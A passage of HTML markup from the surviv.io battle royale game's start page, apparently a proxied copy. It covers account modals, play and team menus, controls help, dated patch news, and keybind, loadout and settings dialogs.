class='modal-settings-item'> <p id='modal-account-delete-desc' class='modal-body-text' data-l10n='index-delete-account-desc'>Enter "DELETE" to delete your account:</p> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='' id='modal-account-delete-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-delete modal-footer-round'> <h3 id='modal-account-delete-finish' class='finish' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> <!-- Accounts Mobile --> <div id='modal-mobile-account' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2 data-l10n='index-account' data-l10n='index-account'>Account</h2> </div> <div id='modal-mobile-account-body'> <div class='account-buttons-settings account-buttons-wrapper account-block-arrow modal-close'> <div class='account-buttons'> <div class='account-stats-link btn-player-stats-link menu-option btn-darken btn-standard ' data-l10n='index-my-stats'>My Stats</div> <div class='btn-account-link btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-link-account'>Link Account</div> <div class='btn-account-change-name btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-change-account-name'>Change Account Name</div> <div class='btn-account-reset-stats btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-reset-stats'>Reset Stats</div> <div class='btn-account-delete btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-delete-account'>Delete Account</div> <div class='btn-account-logout btn-account-grey menu-option btn-darken btn-standard' data-l10n='index-log-out'>Log Out</div> </div> </div> <div id='account-login-options-mobile' class='account-buttons-link-account account-buttons-wrapper account-block-arrow modal-close'> <div class='login-options-content'></div> </div> </div> </div> </div> <!-- Accounts --> <div id='start-top-right'> <div class='account-block'> <div class='account-details-top'> <div class="account-details-top-buttons"> <div class="account-details-button-wrapper account-details-button-loadout menu-option btn-darken-alt"> <div class='account-details-button'> <div id='loadout-alert-main' class='account-alert-main account-alert'></div> <div class='account-link account-loadout-link'> <span data-l10n='index-loadout'>Loadout</span> </div> </div> </div> <div class="account-details-button-wrapper account-details-link-out menu-option btn-darken hide-on-mobile"> <div class='account-details-button'> <div class='account-link account-stats-link'><span data-l10n='index-my-stats'>My Stats</span></div> </div> </div> <div class="account-details-button-wrapper account-details-link-out menu-option btn-darken hide-on-mobile"> <div class='account-details-button'> <div class='account-link account-leaderboard-link'><span data-l10n='index-leaderboards'>Leaderboards</span></div> </div> </div> </div> </div> <div class='account-overview'> <div class="account-details-user account-details-block"> <div class="account-details"> <div class="account-avatar"></div> <div id="account-login" class="account-player-name account-name account-name-user" data-l10n='index-log-in-desc'>Log In / Create Account</div> <div id="account-player-name" class="account-player-name account-name account-name-user" style="display:none"></div> <div class="account-loading-container"> <div class="account-loading"></div> </div> </div> </div> </div> <div class='account-buttons-settings account-buttons-wrapper account-block-arrow modal-close hide-on-mobile'> <div class='account-buttons'> <div class='btn-account-link btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-link-account'>Link Account</div> <div class='btn-account-change-name btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-change-account-name'>Change Account Name</div> <div class='btn-account-reset-stats btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-reset-stats'>Reset Stats</div> <div class='btn-account-delete btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-delete-account'>Delete Account</div> <div class='btn-account-logout btn-account-grey menu-option btn-darken btn-standard' data-l10n='index-log-out'>Log Out</div> </div> </div> <div id='account-login-options' class='account-buttons-link-account account-buttons-wrapper account-block-arrow modal-close hide-on-mobile'> <div class='login-options-content'></div> </div> </div> </div> <div id='start-main-center'> <div id='start-row-header'> <div id='server-warning'></div> </div> <div id='start-row-top'> <div id='start-rotate-reminder' class='menu-column menu-block'> <span>Rotate to landscape for a better experience.</span> </div> <div id='left-column' class='menu-column'> <div id='ad-block-left'> <div class='surviv-shirts'> <a href='/~/https://www.amazon.com/s?rh=n%3A7141123011%2Cp_4%3Asurviv.io&ref=w_bl_sl_s_ap_web_7141123011' target="_blank"></a> </div> <div class='adblock-plea'> <span>Please consider supporting us by disabling your adblocker.</span> </div> <div class='ad-block-med-rect' id='surviv-io_300x250'> </div> </div> <div id='social-share-block-wrapper'> <div id='social-share-block' class='menu-block'> <div class='btn-social-wrapper'> <a href='/~/https://facebook.com/surviviogame' target='_blank' class='btn-social btn-darken btn-facebook'></a> <a href='/~/https://twitter.com/survivio' target='_blank' class='btn-social btn-darken btn-twitter'></a> <a href='/~/https://www.instagram.com/surviviogame/' target='_blank' class='btn-social btn-darken btn-instagram'></a> <a href='/~/https://discord.gg/survivio' target='_blank' class='btn-social btn-darken btn-discord'></a> <a href='/~/https://www.youtube.com/c/survivio?sub_confirmation=1' target='_blank' class='btn-social btn-darken btn-youtube'></a> </div> </div> </div> </div> <div id='start-menu' class='menu-column menu-block'> <div class='play-loading-outer'> <div class='play-loading-inner'> <div class='play-loading-spinner'></div> </div> </div> <div class='play-button-container'> <div id='player-options'> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='Enter your name here' id='player-name-input-solo' maxlength='16' /> <a class='btn-darken menu-option player-options-btn' id='btn-customize'></a> </div> <select id='server-select-main' class='server-select menu-option btn-hollow btn-hollow-selected'> <optgroup id='server-opts' label='Region' data-l10n='index-region'> <option value='na' data-label='North America' data-l10n='index-north-america'>North America</option> <option value='sa' data-label='South America' data-l10n='index-south-america'>South America</option> <option value='eu' data-label='Europe' data-l10n='index-europe'>Europe</option> <option value='as' data-label='Asia' data-l10n='index-asia'>Asia</option> <option value='kr' data-label='Korea' data-l10n='index-korea'>South Korea</option> </optgroup> </select> <a class='btn-green btn-darken menu-option' id='btn-start-mode-0' data-l10n='index-play-solo'>Play Solo</a> <div id='btns-quick-start'> <a class='btn-green btn-darken menu-option' id='btn-start-mode-1' data-l10n='index-play-duo'>Play Duo</a> <a class='btn-green btn-darken menu-option' id='btn-start-mode-2' data-l10n='index-play-squad'>Play Squad</a> </div> <div class='btns-double-row'> <a class='btn-darken menu-option btn-team-option' id='btn-join-team' data-l10n='index-join-team'>Join Team</a> <a class='btn-darken menu-option btn-team-option' id='btn-create-team' data-l10n='index-create-team'>Create Team</a> </div> <div id='btn-help' class='menu-option btn-darken' data-l10n='index-how-to-play'>How to Play</div> <div id='start-help'> <h1 data-l10n='index-controls'>Controls</h1> <p><span class='help-action' data-l10n='index-movement'></span>: <span class='help-control' data-l10n='index-movement-ctrl'></span></p> <p><span class='help-action' data-l10n='index-aim'></span>: <span class='help-control' data-l10n='index-aim-ctrl'></span></p> <p><span class='help-action' data-l10n='index-punch'></span>/<span class='help-action' data-l10n='index-shoot'></span>: <span class='help-control' data-l10n='index-shoot-ctrl'></span></p> <p><span class='help-action' data-l10n='index-change-weapons'></span>: <span class='help-control' data-l10n='index-change-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-stow-weapons'></span>: <span class='help-control' data-l10n='index-stow-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-swap-weapons'></span>: <span class='help-control' data-l10n='index-swap-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-swap-weapon-slots'></span>: <span class='help-control' data-l10n='index-swap-weapon-slots-ctrl'></span></p> <p><span class='help-action' data-l10n='index-reload'></span>: <span class='help-control' data-l10n='index-reload-ctrl'></span></p> <p><span class='help-action' data-l10n='index-scope-zoom'></span>: <span class='help-control' data-l10n='index-scope-zoom-ctrl'></span></p> <p><span class='help-action' data-l10n='index-pickup'></span>/<span class='help-action' data-l10n='index-loot'></span>/<span class='help-action' data-l10n='index-revive'></span>: <span class='help-control' data-l10n='index-pickup-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-medical'></span>: <span class='help-control' data-l10n='index-use-medical-ctrl'></span></p> <p><span class='help-action' data-l10n='index-drop-item'></span>: <span class='help-control' data-l10n='index-drop-item-ctrl'></span></p> <p><span class='help-action' data-l10n='index-cancel-action'></span>: <span class='help-control' data-l10n='index-cancel-action-ctrl'></span></p> <p><span class='help-action' data-l10n='index-view-map'></span>: <span class='help-control' data-l10n='index-view-map-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-toggle-minimap'></span>: <span class='help-control' data-l10n='index-toggle-minimap-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-ping'></span>: <span class='help-control' data-l10n='index-use-ping-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-emote'></span>: <span class='help-control' data-l10n='index-use-emote-ctrl'></span></p> <h1 data-l10n='index-how-to-play'>How to Play</h1> <p data-l10n='index-tips-1-desc'>The goal of surviv.io is to be the last player standing. You only live once per game - there is no respawn!</p> <h1 data-l10n='index-tips-2'>2D PUBG</h1> <p data-l10n='index-tips-2-desc'>If you've played other battle royale games like PUBG, Fortnite or H1Z1, then you're already halfway there! Think of surviv.io as 2D PUBG (with slightly less desync and more chicken).</p> <h1 data-l10n='index-tips-3'>Loot and Kill</h1> <p data-l10n='index-tips-3-desc'>You'll begin the game with no items other than a simple backpack. Move around the map to find loot: weapons, ammo, scopes, and medical items. Eliminate other players and you can take their loot!</p> <h1 data-l10n='index-tips-4'>Red = Bad!</h1> <p data-l10n='index-tips-4-desc'>Players aren't the only thing that can hurt you. The deadly red zone will move in from the sides of the map and deal increasingly greater damage if you stand in it. Keep an eye on the map and stay safe.</p> </div> </div> </div> <div id='team-menu' class='menu-column menu-block'> <div class='play-loading-outer'> <div class='play-loading-inner'> <div class='play-loading-spinner'></div> </div> </div> <div class='play-button-container'> <a class='btn-darken menu-option' id='btn-team-leave' data-l10n='index-leave-team'>Leave Team</a> <div id='team-menu-connecting'> <div class='ui-spinner'></div> <div class='team-menu-connecting-text' id='team-menu-joining-text'><span data-l10n='index-joining-team'>Joining team</span> ...</div> <div class='team-menu-connecting-text' id='team-menu-creating-text'><span data-l10n='index-creating-team'>Creating team</span> ...</div> </div> <div id='team-menu-contents'> <div id='team-desc'> <div id='team-desc-text'><span id='invite-link-text' data-l10n='index-invite-link'>Invite link</span>: <span id='team-url'></span> </div> <a id='team-copy-url' class='copy-item btn-darken'></a> <a id='team-hide-url' class='hide-item btn-darken'></a> <div id='team-code-text'><span id='invite-code-text' data-l10n='index-invite-code'>Invite code</span>: <span id='team-code'></span></div> </div> <div id='team-menu-columns'> <div id='team-menu-members' class='team-menu-block'> <div id='team-menu-member-list'></div> </div> <div id='team-menu-options' class='team-menu-block'> <select id='team-server-select' class='btn-hollow btn-hollow-selected server-select menu-option'> <optgroup id='team-server-opts' label='Region'> <option value='na' data-label='North America' data-l10n='index-north-america'>North America</option> <option value='sa' data-label='South America' data-l10n='index-south-america'>South America</option> <option value='eu' data-label='Europe' data-l10n='index-europe'>Europe</option> <option value='as' data-label='Asia' data-l10n='index-asia'>Asia</option> <option value='kr' data-label='Korea' data-l10n='index-korea'>South Korea</option> </optgroup> </select> <div class='team-menu-options-buttons'> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-queue' id='btn-team-queue-mode-1' data-l10n='index-duo'>Duo</a> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-queue' id='btn-team-queue-mode-2' data-l10n='index-squad'>Squad</a> </div> <div class='team-menu-options-buttons'> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-fill' id='btn-team-fill-auto' data-l10n='index-auto-fill'>Auto Fill</a> <a class='btn-hollow btn-darken team-menu-option btn-team-fill' id='btn-team-fill-none' data-l10n='index-no-fill'>No Fill</a> </div> <div id='team-menu-options-start'> <a class='btn-green btn-darken menu-option' id='btn-start-team' data-label='Play' data-l10n='index-play'>Play</a> <div id='msg-wait-reason'></div> </div> </div> </div> </div> </div> </div> <div id='team-mobile-link' class='menu-column menu-block'> <div id='team-mobile-link-desc' class='team-mobile-link-text' data-l10n='index-join-team-help'>Got a team link or code? Paste it here:</div> <div id='team-mobile-link-warning' class='team-mobile-link-text'>Invalid link!</div> <input type='text' class='menu-option' contenteditable="false" tabindex='0' autofocus placeholder='Paste team link or enter code here' id='team-link-input' /> <a class='btn-darken menu-option btn-team-option' id='btn-team-mobile-link-join' data-l10n='index-join-team'>Join Team</a> <a class='btn-darken menu-option' id='btn-team-mobile-link-leave' data-l10n='index-back-to-main'>Back to Main Menu</a> </div> <div id='right-column' class='menu-column'> <div id='pass-wrapper'> <div id='pass-unlock-tooltip'> <div class='tooltip-pass-title'></div> <div class='tooltip-pass-desc'></div> </div> <div class='right-column-toggle news-toggle'> <div class='account-alert'></div> </div> <div id='pass-loading' class='pass-column menu-block'> <div id='pass-loading-spinner'></div> </div> <div id='pass-block' class='pass-column menu-block'> <div id='pass-name'> <span id='pass-name-text'></span> </div> <div id='pass-progress' class=''> <div id='pass-progress-level' class=''></div> <div id='pass-progress-bar' class=''> <div id='pass-progress-bar-fill'></div> <div id='pass-progress-xp'> <span id='pass-progress-xp-current'></span> <span>/</span> <span id='pass-progress-xp-target'></span> <span>XP</span> </div> </div> <div id='pass-progress-unlock-wrapper'> <div id='pass-progress-unlock' class=''> <div id='pass-progress-unlock-image' class=''></div> </div> <div id='pass-progress-unlock-type-wrapper' class=''> <div id='pass-progress-unlock-type-border' class=''> <div id='pass-progress-unlock-type-image' class=''></div> </div> <div id='pass-progress-unlock-overlay' class=''></div> </div> </div> </div> <div id='pass-quest-wrapper' class=''> <div id='pass-locked'> <div id='btn-pass-locked' class='menu-option btn-darken' data-l10n='quest-login-prompt'>Log in to get quests!</div> </div> <div id='pass-quest-0' class='pass-quest'> <div class='pass-quest-timer'></div> <div class='pass-quest-spinner-container'> <div class='pass-quest-spinner'></div> </div> <div class='pass-quest-refresh-prompt'> <div class='pass-quest-refresh-prompt-text' data-l10n='quest-refresh-prompt'>Get a new quest?</div> <div class='pass-quest-refresh-confirm btn-pass-quest-refresh'></div> <div class='pass-quest-refresh-cancel btn-pass-quest-refresh'></div> </div> <div class='pass-quest-info'> <div class='pass-quest-desc'></div> <div class='pass-quest-xp'></div> <div class='pass-quest-refresh'></div> <div class='pass-quest-progress'> <div class='pass-quest-bar'> <div class='pass-quest-bar-fill'></div> </div> <div class='pass-quest-counter'> <span class='pass-quest-counter-current'></span> <span>/</span> <span class='pass-quest-counter-target'></span> </div> </div> </div> </div> <div id='pass-quest-1' class='pass-quest'> <div class='pass-quest-timer'></div> <div class='pass-quest-spinner-container'> <div class='pass-quest-spinner'></div> </div> <div class='pass-quest-refresh-prompt'> <div class='pass-quest-refresh-prompt-text' data-l10n='quest-refresh-prompt'>Get a new quest?</div> <div class='pass-quest-refresh-confirm btn-pass-quest-refresh'></div> <div class='pass-quest-refresh-cancel btn-pass-quest-refresh'></div> </div> <div class='pass-quest-info'> <div class='pass-quest-desc'></div> <div class='pass-quest-xp'></div> <div class='pass-quest-refresh'></div> <div class='pass-quest-progress'> <div class='pass-quest-bar'> <div class='pass-quest-bar-fill'></div> </div> <div class='pass-quest-counter'> <span class='pass-quest-counter-current'></span> <span>/</span> <span class='pass-quest-counter-target'></span> </div> </div> </div> </div> </div> </div> </div> <div id='news-wrapper'> <div class='right-column-toggle pass-toggle'></div> <div id='news-block' class='menu-block'> <div id='news'> <h3 class='news-header'>What's New!</h3> <div id='news-current' data-date='2020-2-24'> <small class='news-date'>February 24, 2020</small> <p class='news-paragraph'><strong>Curveball</strong></p> <p class='news-paragraph'>The <span class='highlight'>Savannah</span> has returned with a new perk to help flush snipers out of position.</p> <p class='news-paragraph'>The <span class='highlight'>Closer Perk</span> throws grenades much farther, allowing you to put Snipers on the move.</p> </div> <div data-date='2020-2-10'> <small class='news-date'>February 10, 2020</small> <p class='news-paragraph'><strong>Keep Your Enemies Closer</strong></p> <p class='news-paragraph'>PARMA recognizes this season of togetherness and generously offers to help rivals resolve their differences. The all new <span class='highlight'>Heart Cannon</span> diffuses damage taken from your frenemies. For groups of future friends, the same effect is achieved with the all-new <span class='highlight'>Heart Grenade</span>.</p> <p class='news-paragraph'>If you do not trust the intentions of your new friends, eat an entire <span class='highlight'>box of chocolates</span> to counter the effect of <span class='highlight'>Heart Weapons</span>.</p> </div> <div data-date='2020-1-27'> <small class='news-date'>January 27, 2020</small> <p class='news-paragraph'><strong>Dodge This</strong></p> <p class='news-paragraph'><span class='highlight'>Woods</span> Mode is back with two new weapons and things are bound to get explosive. The <span class='highlight'>PKM</span> and <span class='highlight'>Hawk 12G</span> join the Woods Map arsenal, along with increased grenade capacity.</p> <p class='news-paragraph'>The <span class='highlight'>PKM</span> packs a punch while balancing mobility and range. Based on the M870 with an added magazine, the <span class='highlight'>Hawk 12G</span>'s ammo capacity of 5 is the same as its parent weapon, the fire delay is faster and fires a tighter spread. </p> </div> <div data-date='2020-1-13'> <small class='news-date'>January 13, 2020</small> <p class='news-paragraph'><strong>Stay frosty</strong></p> <p class='news-paragraph'>Winter has arrived on the Island with new features and is more dangerous than ever, including PARMA's latest item, the <span class='highlight'>Flask</span>.</p> <p class='news-paragraph'>Track your enemy's footprints and use the <span class='highlight'>Snow Fox</span> perk to cover up your footprints. Be sure to keep moving or take freezing damage. Flasks and the <span class='highlight'>Polar Bear</span> perk keep you from freezing. And watch out for ice. It's slippery.</p> </div> <div data-date='2019-12-30'> <small class='news-date'>December 30, 2019</small> <p class='news-paragraph'><strong>Free Fryer</strong></p> <p class='news-paragraph'>PARMA's FSTMS division is pleased to introduce the next generation in starch-based modern warfare: the <span class='highlight'>spud gun</span>.</p> <p class='news-paragraph'>Officially designated the SMG-8 (Spud Missile Generator), the spud gun uses a proprietary breech-to-muzzle heat expander to fry and propel wedge-shaped projectiles at tremendous speeds. Like its cousin, the potato cannon, the spud gun also features nitroglycerin-spiked ammunition and a nifty tuber replication device!</p> </div> </div> </div> </div> </div> </div> <div class='ad-block-leaderboard-bottom' id='surviv-io_728x90'></div> </div> <div id='start-bottom-left'> <div class='hide-on-mobile'> <a href='/~/https://play.google.com/store/apps/details?id=io.surviv.surviv_io_mobile' target='_blank' class='btn-download-android btn-download-app btn-darken'></a> </div> <div class='hide-on-mobile'> <a href='/~/https://itunes.apple.com/us/app/surviv-io/id1401727934?ls=1&mt=8' target='_blank' class='btn-download-ios btn-download-app btn-darken'></a> </div> <div id='mobile-settings-front'> <div class='btn-settings menu-option btn-darken btn-start-option'></div> </div> </div> <div id="start-bottom-middle"> <a href='changelog.html' target="_blank" class="footer-after">ver 0.9.1b</a> <a href='proxy.txt' target="_blank" data-l10n='index-proxy-sites'>proxy sites</a> </div> <div id='start-bottom-right-wrapper'> <div id='start-bottom-right'> <div class="language-select-wrap"> <select class='language-select'></select> </div> <div class='btn-settings menu-option btn-darken btn-start-option'></div> <div class='btn-keybind menu-option btn-darken btn-start-option'></div> <div id='btn-start-fullscreen' class='btn-fullscreen-toggle menu-option btn-darken btn-start-option'></div> <div class='btn-start-mute btn-sound-toggle menu-option btn-darken btn-start-option audio-on-icon'></div> </div> <div id='mobile-download-app'> <a href='/~/https://play.google.com/store/apps/details?id=io.surviv.surviv_io_mobile' target='_blank' class='btn-download-android btn-download-app-mobile btn-darken'></a> <a href='/~/https://itunes.apple.com/us/app/surviv-io/id1401727934?ls=1&mt=8' target='_blank' class='btn-download-ios btn-download-app-mobile btn-darken'></a> </div> </div> </div> <!-- Modals --> <div id='ui-modal-keybind' class='ui-modal-keybind modal' oncontextmenu='return false;'> <div class='ui-modal-keybind-content modal-content modal-close'> <div id='ui-modal-keybind-header' class='modal-header'> <span id='ui-close-keybind' class='close close-corner'></span> <h2 data-l10n='index-customize-keybinds'>Customize Keybinds</h2> </div> <div id='ui-modal-keybind-body' class='modal-body'> <div id='ui-modal-keybind-list' class='js-keybind-list'></div> <div id='ui-modal-keybind-share'> <div class='ui-modal-keybind-share-row'> <div class='ui-modal-keybind-share-elem'> <span data-l10n='index-keybind-link'>Share your keybinds with this code</span>: </div> <div class='ui-modal-keybind-share-elem'> <div id='keybind-link-text'> <div id='keybind-link'>aFvc42SfhpoFlrJKVkA1fx+5afasdf9034hfSF09nASqqF</div> <span id='keybind-copy' class='copy-item btn-darken'></span> </div> </div> </div> <span class='keybind-share-paste-text' data-l10n='index-keybind-paste'>Load keybinds using a code here</span><span>:</span> <div id='keybind-warning' class='link-warning'>Invalid code!</div> <div class='ui-modal-keybind-share-row'> <input type='text' class='menu-option' contenteditable="false" tabindex='0' autofocus placeholder='Paste a keybind code here' id='keybind-code-input' /> <a class='btn-game-menu btn-darken' id='btn-keybind-code-load' data-l10n='index-keybind-apply'>Load</a> </div> </div> </div> <div id='ui-modal-keybind-footer' class='modal-footer modal-footer-round'> <a class='js-btn-keybind-share btn-game-menu btn-darken' data-l10n='game-share'>Share</a> <a class='js-btn-keybind-restore btn-game-menu btn-darken' data-l10n='game-restore-defaults'>Restore Defaults</a> </div> </div> </div> <!-- Loadouts --> <div id='modal-customize' class='modal'> <div class='ad-block-loadouts-left hide-on-mobile' id='surviv-io_300x600'></div> <div id='modal-customize-wrapper' class='modal-close'> <div id='modal-content-left' class='modal-content-shadow'> <div id='modal-customize-cat-title'></div> <div id="modal-customize-sort-wrap"> <select id='modal-customize-sort'> <option id='customize-sort-newest' value='newest' data-l10n='loadout-newest'>Newest</option> <option id='customize-sort-alpha' value='alpha' data-l10n='loadout-alpha'>Alpha</option> <option id='customize-sort-rarity' value='rarity' data-l10n='loadout-rarity'>Rarity</option> <option id='customize-sort-subcat' value='subcat' data-l10n='loadout-subcat'>Category</option> </select> </div> <div id='modal-customize-close'> <span class='close close-corner'></span> </div> <div id='modal-customize-header' class='modal-header'></div> <div class='modal-disabled'> <div class='modal-disabled-message'>The Edge browser does not support custom cursors.</div> </div> <div id='modal-customize-body' class='modal-body'> <div id='modal-customize-item-header'> <div id='modal-customize-item-name'></div> <div id='modal-customize-item-rarity'></div> <div id='modal-customize-loading-container'> <div id='modal-customize-loading'></div> </div> </div> <div id='modal-customize-list'></div> </div> <div id='modal-customize-footer' class='modal-footer modal-footer-round'> <div id='modal-customize-item-source'></div> <div id='modal-customize-item-lore'></div> </div> <div id='modal-customize-unlocks' class=''> <div id='customize-instagram-follow-unlock' class='customize-social-unlock customize-social-tooltip' data-lock-reason='instagram'> <div class="tooltiptext" data-l10n='loadout-instagram-reward'></div> <a href='/~/https://www.instagram.com/surviviogame/' target="_blank" id='btn-instagram-follow-unlock' class='menu-option btn-darken btn-social-unlock btn-instagram' data-lock-reason='instagram' data-l10n='loadout-instagram-follow'></a> </div> <div id='customize-youtube-subscribe-unlock' class='customize-social-unlock customize-social-tooltip' data-lock-reason='youtube'> <div class="tooltiptext" data-l10n='loadout-youtube-reward'></div> <a href='/~/https://www.youtube.com/c/survivio?sub_confirmation=1' target='_blank' id='btn-youtube-subscribe-unlock' class='menu-option btn-darken btn-social-unlock btn-youtube' data-lock-reason='youtube' data-l10n='loadout-youtube-subscribe'></a> </div> <div id='customize-twitter-follow-unlock' class='customize-social-unlock customize-social-tooltip' data-lock-reason='twitter'> <div class="tooltiptext" data-l10n='loadout-twitter-reward'></div> <a href='/~/https://twitter.com/intent/follow?region=follow_link&screen_name=survivio&tw_p=followbutton' target="_blank" id='btn-twitter-follow-unlock' class='menu-option btn-darken btn-social-unlock btn-twitter' data-lock-reason='twitter' data-l10n='loadout-twitter-follow'></a> </div> <div id='customize-facebook-like-unlock' class='customize-social-unlock customize-social-tooltip' data-lock-reason='facebook'> <div class="tooltiptext" data-l10n='loadout-facebook-reward'></div> <a href='/~/https://www.facebook.com/surviviogame/' target='_blank' id='btn-facebook-like-unlock' class='menu-option btn-darken btn-social-unlock btn-facebook' data-lock-reason='facebook' data-l10n='loadout-facebook-like'></a> </div> </div> </div> <div id='modal-content-right-crosshair' class='modal-content-right modal-content-shadow'> <div class='modal-spacer'></div> <div class='modal-disabled'></div> <div id='customize-crosshair-parent'> <div id='customize-crosshair-selected'> <div class="customize-item-image customize-crosshair-image" draggable="false"></div> </div> <div id='customize-crosshair-sliders'> <div class="crosshair-hex-outer"> <span>#</span><input type="text" id='color-picker-hex'> </div> <section id="color-picker"></section> <div class="crosshair-slider-container"> <p class='' data-l10n='loadout-size'>Size</p> <input type="range" min="0.25" max="1.0" value="0.5" step='0.025' class="crosshair-slider" id="crosshair-size"> </div> <div class="crosshair-slider-container"> <p class='' data-l10n='loadout-stroke'>Stroke</p> <input type="range" min="0.0" max="1.5" value="0.0" step='0.025' class="crosshair-slider" id="crosshair-stroke"> </div> </div> </div> </div> <div id='modal-content-right-emote' class='modal-content-right modal-content-shadow'> <div id='customize-emote-parent'> <div id='customize-emote-wheel' class='ui-emote-wheel'> <div id='customize-emote-middle' class='ui-emote-middle ui-emote-circle ui-emote-parent'> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image ui-emote-image'></div> </div> <div id='customize-emote-top' class='ui-emote-top ui-emote-quarter ui-emote-parent' data-slot='emoteTop' data-idx='0'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image ui-emote-image'></div> <div class='customize-col customize-col-small' draggable="true"></div> </div> <div id='customize-emote-right' class='ui-emote-right ui-emote-quarter ui-emote-parent' data-slot='emoteRight' data-idx='1'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image ui-emote-image'></div> <div class='customize-col customize-col-small' draggable="true"></div> </div> <div id='customize-emote-bottom' class='ui-emote-bottom ui-emote-quarter ui-emote-parent' data-slot='emoteBottom' data-idx='2'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image ui-emote-image'></div> <div class='customize-col customize-col-small' draggable="true"></div> </div> <div id='customize-emote-left' class='ui-emote-left ui-emote-quarter ui-emote-parent' data-slot='emoteLeft' data-idx='3'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image ui-emote-image'></div> <div class='customize-col customize-col-small' draggable="true"></div> </div> </div> <div id='customize-emote-autos'> <div id='customize-emote-win' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-slot='emoteWin' data-idx='4'> <div class='ui-emote ui-emote-auto-trash'></div> <div class='ui-emote ui-emote-auto-icon ui-emote-auto-chicken'></div> <div class='ui-emote ui-emote-bg-circle-outer'></div> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image'></div> <div class='customize-col customize-col-large' draggable="true"></div> </div> <div id='customize-emote-death' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-slot='emoteDeath' data-idx='5'> <div class='ui-emote ui-emote-auto-trash'></div> <div class='ui-emote ui-emote-auto-icon ui-emote-auto-skull'></div> <div class='ui-emote ui-emote-bg-circle-outer'></div> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image'></div> <div class='customize-col customize-col-large' draggable="true"></div> </div> </div> </div> </div> </div> </div> <div id='modal-settings' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2 data-l10n='index-settings'>Settings</h2> </div> <div id='modal-settings-body' class='modal-body'> <div id='language-select-mobile-wrapper' class='modal-settings-item'> <div class="language-select-wrap"> <select class='language-select'></select> </div> </div> <div id='modal-settings-high-res' class='modal-settings-item'> <input id='highResTex' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-high-resolution'>High resolution (check to increase visual quality)</p> </div> <div class='modal-settings-item hide-on-mobile'> <input id='screenShake' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-screen-shake'>Screen shake</p> </div> <div class='modal-settings-item'> <input id='anonPlayerNames' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-anon-player-names'>Anonymize player names</p> </div> <div class='modal-settings-item dpad'> <input id='activateDpad' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-left-mode'>Left handed mode </p> </div> <div class='modal-settings-item auto-melee'> <input id='autoMelee' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-auto-melee'>Auto Melee Boxes</p> </div> <div class='modal-settings-item aim-assist'> <input id='aimAssist' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-aim-assist'>Aim Assist</p> </div> <div class="modal-settings-item slider-container main-volume-slider"> <p class='modal-slider-text' data-l10n='index-master-volume'>Master Volume</p> <input type="range" min="0" max="100" value="50" class="slider sl-master-volume" id=""> </div> <div class="modal-settings-item slider-container main-volume-slider"> <p class='modal-slider-text' data-l10n='index-sfx-volume'>SFX Volume</p> <input type="range" min="0" max="100" value="50" class="slider sl-sound-volume" id=""> </div> <div class="modal-settings-item slider-container main-volume-slider"> <p class='modal-slider-text' data-l10n='index-music-volume'>Music Volume</p> <input type="range" min="0" max="100" value="50" class="slider sl-music-volume" id=""> </div> <div class="modal-settings-item slider-container slider-dpad"> <p class='modal-slider-text' data-l10n='index-sensitivy'>Analog Sensitivity</p> <input type="range" min="0" max="100" value="100" class="slider" id="sensitivity-slider"> </div> <div id='settings-links'> <a href='#' class="btn-cookie-settings footer-after">cookie settings</a> <a href='privacy.html' target="_blank" class="footer-after" data-l10n='index-privacy'>privacy</a> <a href='attribution.txt' target="_blank" class="footer-after" data-l10n='index-attributions'>attributions</a> <a href='hof.html' target="_blank" data-l10n='index-hof'>HOF</a> </div> </div> <div class='modal-footer'></div> </div> </div> <div id='modal-hamburger' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-hamburger icon-hamburger'></span> <h2> </h2> </div> <div id='modal-hamburger-body' class='modal-body'> <div id='modal-hamburger-leaderboards'> <a href='/~/https://surviv.io/stats' target='_blank' id="btn-mobile-to-stats" class='btn-leaderboard-stats-link menu-option btn-darken' 